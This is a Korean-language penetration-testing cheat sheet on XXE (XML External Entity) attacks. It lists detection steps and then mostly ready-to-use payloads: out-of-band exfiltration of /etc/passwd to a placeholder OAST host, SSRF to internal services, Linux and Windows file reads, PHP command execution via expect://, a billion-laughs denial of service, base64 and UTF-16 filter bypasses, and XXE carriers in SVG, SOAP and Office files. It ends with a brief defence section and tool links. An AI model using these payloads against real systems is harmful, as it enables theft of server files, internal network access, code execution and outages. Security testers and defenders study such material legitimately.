XXE
Introduction
XXE(XML External Entity)는 XML을 Parsing하여 사용하는 서비스에 악의적인 XML 구문을 Parsing하도록 유도하여 공격자가 의도한 동작을 수행하도록 하는 공격입니다. 기본적으로 XML Parser가 위치한 곳에서 부터 영향력이 발생하기 때문에 가볍게는 SSRF 같이 내부망 접근부터, RCE까지 큰 영향력을 가질 수 있습니다.
Offensive techniques
Detect
심플하겐 XML Parse가 동작하는 구간을 찾아야합니다. 소스코드를 볼 수 있는 상황이라면 코드에서 검색하는 것이 가장 빠르고 효율적이며, 소스코드 없이 순수하게 동작만으로만 봐야한다면 .xml 파일을 인자값으로 받거나, 에러에서 XML Parsing 관련 에러를 뱉는 구간을 위주로 점검해야합니다.
아래와 같이 눈에 띄게 xml 형태를 처리할 것으로 보이는 구간이 XXE가 존재할 가능성이 높은 부분입니다.
GET /readRss?url=https://rss_service/feeds.xml
이 때 우리는 XXE 구문이 포함된 파일을 서비스의 XML Parser가 읽고 분석하도록 하여 XXE를 유도 할 수 있습니다. 만약 위 readRss 란 페이지가 XML을 읽어 사용자에게 보여주는 기능을 가졌다면, 아래와 공격 구문으로 XXE 여부를 체크할 수 있습니다.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "https://your_oast_domain" >]>
<foo>&xxe;</foo>
위 구문이 Parsing되면 서비스는 XML 구문에 따라서 웹 요청을 발생시키기 위해 oast_domain으로 접근하게 됩니다. 우리는 이때 발생하는 HTTP Request와 DNS Qeury를 가지고 식별하면 됩니다. 이렇게 OAST, OOB 기반으로 식별하는 방법이 가장 여러 케이스에서 확인할 수 있는 좋은 방법입니다. (Blind XXE도 측정할 수 있죠)
대표적인 OAST 서비스 & 도구는 아래와 같습니다.
- Burpsuite: burpcollaborator.net
- ZAP: odiss.eu (OAST)
- Interactsh
다만 public oast 서비스는 2021년 log4j 사태 이후로 많은 서비스들에서 차단을 하고 있어서 직접 private한 oast 서비스를 구성하여 테스트하시는 것을 추천합니다.
만약 XML Parsing의 결과가 리턴된다면 단순하게 DTD 사용을 체크하는 것도 좋습니다.
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
Exploitation
Leak data with OOB
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "https://your_oast_service/?%xxe;">
]
>
<foo>&callhome;</foo>
SSRF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://internal.service/secret_pass.txt" >]>
<foo>&xxe;</foo>
LFI
Linux
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
Windows
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
RCE (PHP)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>`&xxe;`</user>
<pass>`mypass`</pass>
</creds>
DOS
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Bypass protection
Using Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
Using UTF-16
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
XXE in X
in Java
https://semgrep.dev/blog/2022/xml-security-in-java
in SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls" width="200" height="200"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
xxe.svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>
in SOAP
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
in OXML (Office)
/_rels/.rels
[Content_Types].xml
Default Main Document Part
/word/document.xml
/ppt/presentation.xml
/xl/workbook.xml
in XLSX
OXML과 동일합니다.
Defensive techniques
XML Parsing 시 DTD를 허용하지 않도록 제한하는 형태로 대응할 수 있습니다. 각 언어, Framework 등 DTD를 제한하는 방법은 다르니 아래 문서를 참고해주세요.
또한 XML Parsing 단계가 굳이 외부에 노출될 필요가 없다면 완전하게 내부에서만 처리하도록 변경하는 것도 좋은 방법 중 하나입니다.
Tools
- https://github.com/enjoiz/XXEinjector
- https://github.com/lc/230-OOB
- https://github.com/staaldraad/xxeserv
- https://github.com/BuffaloWill/oxml_xxe
- https://github.com/whitel1st/docem
Articles
- https://www.hahwul.com/2017/05/27/web-hacking-ooxml-xxe/
- https://www.hahwul.com/2019/09/28/oxml-xxe-payload-inject-tool-docem/
- https://www.hahwul.com/2018/08/18/edge-side-include-injection-web-attack/#xxe
- https://www.hahwul.com/2018/01/21/hacking-documentbuilderfactory-xxe-feat/
- https://www.hahwul.com/2017/12/06/hacking-documentbuilderfactory-xxe/
- https://www.hahwul.com/2018/07/13/Security-testing-SAML-SSO-vulnerability-and-pentest/
- https://www.hahwul.com/2017/11/06/exploit-java-se-web-start-jnlp-xxe-cve/